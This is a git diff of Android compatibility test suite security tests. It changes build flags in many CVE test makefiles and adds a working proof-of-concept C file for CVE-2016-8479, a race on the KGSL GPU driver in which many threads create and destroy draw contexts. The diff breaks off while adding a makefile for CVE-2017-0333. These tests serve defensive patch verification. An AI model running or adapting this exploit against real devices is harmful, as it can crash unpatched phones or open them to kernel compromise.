--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
index 7b02188..c9721ac 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
index e1eebbd..1cb417e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
index 8935cd6..7def71d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
index fd7fc21..c29bfbd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
index e984812..3f8f3c8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
index a134d9c..39c4d84 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
index 131f240..84d5b26 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
index 21326f9..d37a1ae 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
index bfe8718..6616238 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
index 839047b..f877032 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
index d0ef823..fb2116d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
@@ -22,14 +22,9 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
index 614d20b..745ce1e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
index 6b20fe4..cba1876 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
index b9c51d1..bf592df 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS := -Wall -W -g -O2 -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.mk
new file mode 100644
index 0000000..f5fbd1a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8479
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
new file mode 100644
index 0000000..94202f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -0,0 +1,186 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define THREAD_NUM 600
+#define DEV "/dev/kgsl-3d0"
+
+/* ioctls */
+#define KGSL_IOC_TYPE 0x09
+
+/* --- context flags --- */
+#define KGSL_CONTEXT_SAVE_GMEM 0x00000001
+#define KGSL_CONTEXT_NO_GMEM_ALLOC 0x00000002
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SUBMIT_IB_LIST 0x00000004
+#define KGSL_CONTEXT_CTX_SWITCH 0x00000008
+#define KGSL_CONTEXT_PREAMBLE 0x00000010
+#define KGSL_CONTEXT_TRASH_STATE 0x00000020
+#define KGSL_CONTEXT_PER_CONTEXT_TS 0x00000040
+#define KGSL_CONTEXT_USER_GENERATED_TS 0x00000080
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_END_OF_FRAME 0x00000100
+#define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SYNC 0x00000400
+#define KGSL_CONTEXT_PWR_CONSTRAINT 0x00000800
+
+#define KGSL_CONTEXT_PRIORITY_MASK 0x0000F000
+#define KGSL_CONTEXT_PRIORITY_SHIFT 12
+#define KGSL_CONTEXT_PRIORITY_UNDEF 0
+
+#define KGSL_CONTEXT_IFH_NOP 0x00010000
+#define KGSL_CONTEXT_SECURE 0x00020000
+
+#define KGSL_CONTEXT_TYPE_MASK 0x01F00000
+#define KGSL_CONTEXT_TYPE_SHIFT 20
+#define KGSL_CONTEXT_TYPE_ANY 0
+#define KGSL_CONTEXT_TYPE_GL 1
+#define KGSL_CONTEXT_TYPE_CL 2
+#define KGSL_CONTEXT_TYPE_C2D 3
+#define KGSL_CONTEXT_TYPE_RS 4
+#define KGSL_CONTEXT_TYPE_UNKNOWN 0x1E
+
+#define KGSL_CONTEXT_INVALID 0xffffffff
+
+/*
+ * --- command batch flags ---
+ * The bits that are linked to a KGSL_CONTEXT equivalent are either legacy
+ * definitions or bits that are valid for both contexts and cmdbatches. To be
+ * safe the other 8 bits that are still available in the context field should be
+ * omitted here in case we need to share - the other bits are available for
+ * cmdbatch only flags as needed
+ */
+#define KGSL_CMDBATCH_MEMLIST 0x00000001
+#define KGSL_CMDBATCH_MARKER 0x00000002
+#define KGSL_CMDBATCH_SUBMIT_IB_LIST KGSL_CONTEXT_SUBMIT_IB_LIST /* 0x004 */
+#define KGSL_CMDBATCH_CTX_SWITCH KGSL_CONTEXT_CTX_SWITCH /* 0x008 */
+#define KGSL_CMDBATCH_PROFILING 0x00000010
+#define KGSL_CMDBATCH_END_OF_FRAME KGSL_CONTEXT_END_OF_FRAME /* 0x100 */
+#define KGSL_CMDBATCH_SYNC KGSL_CONTEXT_SYNC /* 0x400 */
+#define KGSL_CMDBATCH_PWR_CONSTRAINT KGSL_CONTEXT_PWR_CONSTRAINT /* 0x800 */
+
+/* create a draw context, which is used to preserve GPU state.
+ * The flags field may contain a mask KGSL_CONTEXT_* values
+ */
+struct kgsl_drawctxt_create {
+ unsigned int flags;
+ unsigned int drawctxt_id; /*output param */
+};
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+ _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+/* destroy a draw context */
+struct kgsl_drawctxt_destroy {
+ unsigned int drawctxt_id;
+};
+
+#define IOCTL_KGSL_DRAWCTXT_DESTROY \
+ _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
+
+void* child_ioctl_0(void* no_use);
+void* child_ioctl_1(void* no_use);
+void* child_ioctl_2(void* no_use);
+
+int fd;
+unsigned int kgsl_id;
+pthread_t thread_id[THREAD_NUM + 1] = {0};
+int thread_ret[THREAD_NUM] = {0};
+
+static int set_affinity(int num) {
+ int ret = 0;
+ cpu_set_t mask;
+ CPU_ZERO(&mask);
+ CPU_SET(num, &mask);
+ ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+ return ret;
+}
+
+void* child_ioctl_0(void* no_use) {
+ int ret = 1;
+ struct kgsl_drawctxt_destroy kdd = {0};
+ kdd.drawctxt_id = kgsl_id;
+ set_affinity(1);
+
+ while (1) {
+ ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+ }
+}
+
+void* child_ioctl_1(void* no_use) {
+ int ret = 1;
+ struct kgsl_drawctxt_destroy kdd = {0};
+ kdd.drawctxt_id = kgsl_id;
+ set_affinity(2);
+
+ while (1) {
+ ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+ }
+}
+
+void* child_ioctl_2(void* no_use) {
+ int ret = 1;
+ struct kgsl_drawctxt_create kdc = {0, 0};
+ kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
+ set_affinity(3);
+ while (1) {
+ ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
+ kgsl_id = kdc.drawctxt_id;
+ }
+}
+
+int main() {
+ int i, ret;
+ struct kgsl_drawctxt_create kdc = {0, 0};
+ kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
+ struct kgsl_drawctxt_destroy kdd = {0};
+
+ /* bind_cpu */
+ set_affinity(0);
+
+ /* open dev */
+ fd = open(DEV, O_RDWR);
+ if (fd == -1) {
+ return 0;
+ }
+
+ /* create thread */
+ for (i = 0; i < 150; i = i + 3) {
+ thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+ thread_ret[i + 1] =
+ pthread_create(thread_id + i + 1, NULL, child_ioctl_1, NULL);
+ thread_ret[i + 2] =
+ pthread_create(thread_id + i + 2, NULL, child_ioctl_2, NULL);
+ }
+
+ while (1) {
+ ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
+ kgsl_id = kdc.drawctxt_id;
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
index b41fb16..8762bd3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.mk
new file mode 100644
index 0000000..5e19036
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0333
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
